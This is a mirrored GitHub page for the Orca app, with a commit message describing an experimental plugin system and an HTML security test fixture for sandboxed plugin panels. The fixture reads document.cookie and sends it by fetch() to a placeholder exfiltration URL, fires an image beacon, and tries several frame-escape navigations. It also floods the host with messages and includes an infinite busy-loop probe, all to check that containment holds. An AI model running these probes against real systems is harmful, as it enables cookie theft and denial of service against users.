mirror of
https://github.com/stablyai/orca.git
synced 2026-09-22 08:02:28 +00:00
* feat(plugins): Orca plugin system — kernel, content packs, panels, workers, marketplace v0 (experimental) Adds Orca's experimental plugin system behind a settings flag: a supervised kernel, declarative content packs (VM recipes, commands and keybindings, language packs), sandboxed iframe panels, forked worker hosts, and a Git-backed marketplace v0 with consent, provenance and kill-list enforcement. Theme, icon-theme and terminal-theme contributions are deferred to a follow-up pass. * fix(plugins): make unsupported marketplace listings unreachable by key findPlugin() backs preview/install/previewInstalledUpdate via requireListing(), so filtering only listPlugins() hid the catalog card while leaving the dead install path reachable one click later. * fix(plugins): fan Pi session-only status out to plugin subscribers The providerSessionOnly early-return in applyNormalizedStatus emitted to onAgentStatus (main-window fanout) but skipped enrichedStatusListeners, so plugins subscribed to agent.status.changed silently missed every Pi session_start event. Route both emit sites through one helper so a future early return cannot drop the plugin tap again. Co-authored-by: Orca <help@stably.ai> * plugins: drop dead code and hoist duplicated trust-boundary patterns Cleanup pass over the P1 diff, no behavior change: - Delete `readPluginTreeSnapshot`/`readSnapshotFile` and their types, plus the now-vestigial `directories`/`signal` plumbing in `collectFiles`. - Delete `resolveContainedPluginDirectory` (no callers). - Delete `plugin-content-load-pool.ts`; it reimplemented the existing `mapWithConcurrency`, whose index arg also removes the pairing wrapper in `buildPluginList`. - Hoist `PLUGIN_CONTENT_HASH_PATTERN` and `PLUGIN_COMMIT_PATTERN` into the install-lockfile module; 11 sites hand-rolled these identically. - Point the new reliability gate at the PR instead of gitignored docs paths, matching every other gate's link form. * fix(plugins): retry plugin state renames on Windows AV/EPERM locks Six plugin write paths (lockfile, provenance, current pointer, kill list, marketplace cache, staged install dir) did a plain rename, so an antivirus or indexer holding the target open surfaced as a failed install. The repo already retries this hazard for issue #1507, but only through a sync helper; these paths are all async. Adds one bounded async retry + atomic write used by all six, and trims a consent-provenance header that restated its own JSX. * test(plugins): cover the Windows rename retry path The retry loop shipped untested: both existing cases hit the non-retry path, and the temp-cleanup test passed identically with the `finally` removed. Mock `rename` to queue errno codes so CI can exercise locks it cannot provoke. Co-authored-by: Orca <help@stably.ai> * fix(plugins): pin bundled plugin resources to LF Windows CI checks out with autocrlf, so the byte-hashed launch tree arrived as CRLF and verify-packaged-plugin-resources rejected it — the packaged build could never pass on Windows. Reproduced locally: CRLF yields the exact CI error, LF verifies clean. Files are already LF, so nothing renormalizes. Co-authored-by: Orca <help@stably.ai> * test: guard the bundled-plugin LF pin against a CRLF checkout The byte-hash mismatch only surfaced in Windows packaging CI. Assert the .gitattributes pin and that a CRLF tree is rejected, so a regression fails on any platform instead of waiting for a packaged Windows build. Co-authored-by: Orca <help@stably.ai> * ci: trigger packaged-build check on bundled plugin resource changes The launch tree is byte-hashed during packaging, but no trigger path covered it — so the CRLF fix for that check would not have re-run the check. Add the resources, verifier and .gitattributes paths that can break packaging. Co-authored-by: Orca <help@stably.ai> * perf(plugins): rebuild the panel frame only when its baked theme values change The revision keys the panel iframe, so every bump destroys the sandboxed frame and its in-panel state. It counted root attribute mutations, but --workspace-sidebar-live-width is written every rAF of a sidebar drag, so dragging with a panel open blanked it ~60x/sec. Compare the two values the shell actually bakes in instead. Co-authored-by: Orca <help@stably.ai> * test: stop pinning a plugin name in the CRLF guard The CRLF case rewrites every launch file, so the reported mismatch is whichever plugin sorts first. P2 adds theme plugins that sort ahead of orca-navigation-shortcuts, which broke the assertion there. Co-authored-by: Orca <help@stably.ai> * style: drop stray blank lines left by the rebase resolutions Both sides of the agent-hooks and orca-runtime conflicts contributed a trailing blank, which oxfmt rejects. Whitespace only. Co-authored-by: Orca <help@stably.ai> * test(plugins): stop the startup budget failing on machine load P95 runs 16-34ms idle but exceeds the 50ms bound under full-suite parallelism, so the gate flaked. Widen it to catch an order-of-magnitude regression instead; the no-worker/no-plugin-code assertions are the real guarantee. Verified a 400ms regression still fails. Co-authored-by: Orca <help@stably.ai> --------- Co-authored-by: Orca <help@stably.ai>
207 lines
7.2 KiB
HTML
207 lines
7.2 KiB
HTML
<!doctype html>
|
|
<html>
|
|
<head>
|
|
<meta charset="utf-8" />
|
|
<!-- Security test fixture: every attempt below MUST be contained by the
|
|
host-injected CSP, the iframe sandbox, and the bridge budgets. Each
|
|
probe reports pass/fail into the DOM so the containment run is
|
|
directly observable in the panel. -->
|
|
</head>
|
|
<body>
|
|
<h1>Hostile panel fixture</h1>
|
|
<ul id="results"></ul>
|
|
<button id="bridge">Run bridge budget probes</button>
|
|
<button id="navigate-top">Try top navigation</button>
|
|
<button id="navigate-self">Try self navigation</button>
|
|
<button id="navigate-anchor-form">Try anchor and form navigation</button>
|
|
<button id="navigate-meta">Try meta refresh navigation</button>
|
|
<button id="busy">Enter busy loop (watchdog probe)</button>
|
|
<script>
|
|
'use strict'
|
|
// The main-process guard must bind the frame before plugin parsing.
|
|
window.name = ''
|
|
var results = document.getElementById('results')
|
|
function report(name, contained, detail) {
|
|
if (document.querySelector('[data-probe="' + name + '"]')) return
|
|
var li = document.createElement('li')
|
|
li.dataset.probe = name
|
|
li.dataset.contained = contained ? 'true' : 'false'
|
|
li.textContent =
|
|
name + ': ' + (contained ? 'CONTAINED' : 'ESCAPED') + (detail ? ' — ' + detail : '')
|
|
results.appendChild(li)
|
|
document.title = 'probes:' + results.children.length
|
|
}
|
|
|
|
// Probe 1: fetch() exfiltration — must be blocked by connect-src 'none'.
|
|
var cookieValue = 'x'
|
|
try {
|
|
cookieValue = document.cookie || 'x'
|
|
} catch (_) {
|
|
// Opaque-origin frames may reject cookie access before CSP runs.
|
|
}
|
|
fetch('https://example.com/exfil?d=' + encodeURIComponent(cookieValue))
|
|
.then(function () {
|
|
report('fetch-exfil', false, 'request succeeded')
|
|
})
|
|
.catch(function () {
|
|
report('fetch-exfil', true)
|
|
})
|
|
|
|
// Probe 2: <img> beacon — must be blocked by img-src data: only.
|
|
var img = new Image()
|
|
var settled = false
|
|
img.onload = function () {
|
|
if (!settled) {
|
|
settled = true
|
|
report('img-beacon', false, 'image loaded')
|
|
}
|
|
}
|
|
img.onerror = function () {
|
|
if (!settled) {
|
|
settled = true
|
|
report('img-beacon', true)
|
|
}
|
|
}
|
|
img.src = 'https://example.com/beacon.gif'
|
|
setTimeout(function () {
|
|
if (!settled) {
|
|
settled = true
|
|
report('img-beacon', true, 'no load event')
|
|
}
|
|
}, 3000)
|
|
|
|
// Navigation probes are opt-in so a failed attempt cannot erase the
|
|
// network and bridge evidence before the harness observes it.
|
|
document.getElementById('navigate-top').addEventListener('click', function () {
|
|
try {
|
|
window.top.location.href = 'https://example.com/'
|
|
setTimeout(function () {
|
|
report('top-navigation', window.top !== window)
|
|
}, 0)
|
|
} catch (error) {
|
|
report('top-navigation', true, error.name)
|
|
}
|
|
})
|
|
|
|
document.getElementById('navigate-self').addEventListener('click', function () {
|
|
try {
|
|
window.location.href = 'https://example.com/self-navigation'
|
|
setTimeout(function () {
|
|
report('self-navigation', true)
|
|
}, 0)
|
|
} catch (error) {
|
|
report('self-navigation', true, error.name)
|
|
}
|
|
})
|
|
|
|
document.getElementById('navigate-anchor-form').addEventListener('click', function () {
|
|
var anchor = document.createElement('a')
|
|
anchor.href = 'https://example.com/anchor-navigation'
|
|
anchor.textContent = 'Navigation probe'
|
|
document.body.appendChild(anchor)
|
|
anchor.click()
|
|
|
|
var form = document.createElement('form')
|
|
form.action = 'https://example.com/form-navigation'
|
|
document.body.appendChild(form)
|
|
form.requestSubmit()
|
|
setTimeout(function () {
|
|
report('anchor-form-navigation', true)
|
|
}, 0)
|
|
})
|
|
|
|
document.getElementById('navigate-meta').addEventListener('click', function () {
|
|
var refresh = document.createElement('meta')
|
|
refresh.httpEquiv = 'refresh'
|
|
refresh.content = '0;url=https://example.com/meta-refresh'
|
|
document.head.appendChild(refresh)
|
|
setTimeout(function () {
|
|
report('meta-refresh-navigation', true)
|
|
}, 0)
|
|
})
|
|
|
|
// Probe 7: an oversized valid-looking call must receive a real refusal.
|
|
window.addEventListener('message', function (event) {
|
|
var data = event.data
|
|
if (event.source !== window.parent || !data || data.type !== 'orca-panel-action-result') {
|
|
return
|
|
}
|
|
if (data.requestId === 'oversized-probe') {
|
|
report(
|
|
'oversized-message',
|
|
!data.ok && data.errorCode === 'invalid_request',
|
|
data.errorCode || 'unexpected success'
|
|
)
|
|
}
|
|
if (data.requestId === 'flood-result') {
|
|
report(
|
|
'message-flood',
|
|
!data.ok && data.errorCode === 'rate_limited',
|
|
data.errorCode || 'unexpected success'
|
|
)
|
|
}
|
|
})
|
|
|
|
document.getElementById('bridge').addEventListener('click', function () {
|
|
window.parent.postMessage(
|
|
{
|
|
type: 'orca-panel-action',
|
|
requestId: 'oversized-probe',
|
|
action: 'workspace.readContext',
|
|
params: { padding: 'x'.repeat(128 * 1024) }
|
|
},
|
|
'*'
|
|
)
|
|
setTimeout(function () {
|
|
report('oversized-message', false, 'host sent no refusal')
|
|
}, 2000)
|
|
|
|
// Probe 8: invalid, pong, and binary floods must all spend rate budget
|
|
// before parsing; the final valid call is the observable oracle.
|
|
setTimeout(function () {
|
|
for (var i = 0; i < 40; i++) {
|
|
var payload =
|
|
i % 3 === 0
|
|
? { type: 'orca-panel-pong', pingId: i }
|
|
: i % 3 === 1
|
|
? { type: 'invalid-hostile-message', sequence: i }
|
|
: new Uint8Array(2048)
|
|
window.parent.postMessage(payload, '*')
|
|
}
|
|
window.parent.postMessage(
|
|
{
|
|
type: 'orca-panel-action',
|
|
requestId: 'flood-result',
|
|
action: 'workspace.readContext',
|
|
params: {}
|
|
},
|
|
'*'
|
|
)
|
|
setTimeout(function () {
|
|
report('message-flood', false, 'host sent no rate-limit refusal')
|
|
}, 2000)
|
|
}, 150)
|
|
})
|
|
|
|
// Probe 9: opt-in busy loop. The watchdog should demote the panel while
|
|
// Chromium keeps the sandboxed frame in its isolated renderer process.
|
|
function enterBusyLoop() {
|
|
report('busy-loop', true, 'watchdog should suspend this panel')
|
|
while (true) {
|
|
// Deliberately hostile fixture.
|
|
}
|
|
}
|
|
document.getElementById('busy').addEventListener('click', enterBusyLoop)
|
|
window.addEventListener('message', function (event) {
|
|
if (
|
|
event.source === window.parent &&
|
|
event.data &&
|
|
event.data.type === 'orca-hostile-busy-probe'
|
|
) {
|
|
enterBusyLoop()
|
|
}
|
|
})
|
|
</script>
|
|
</body>
|
|
</html>
|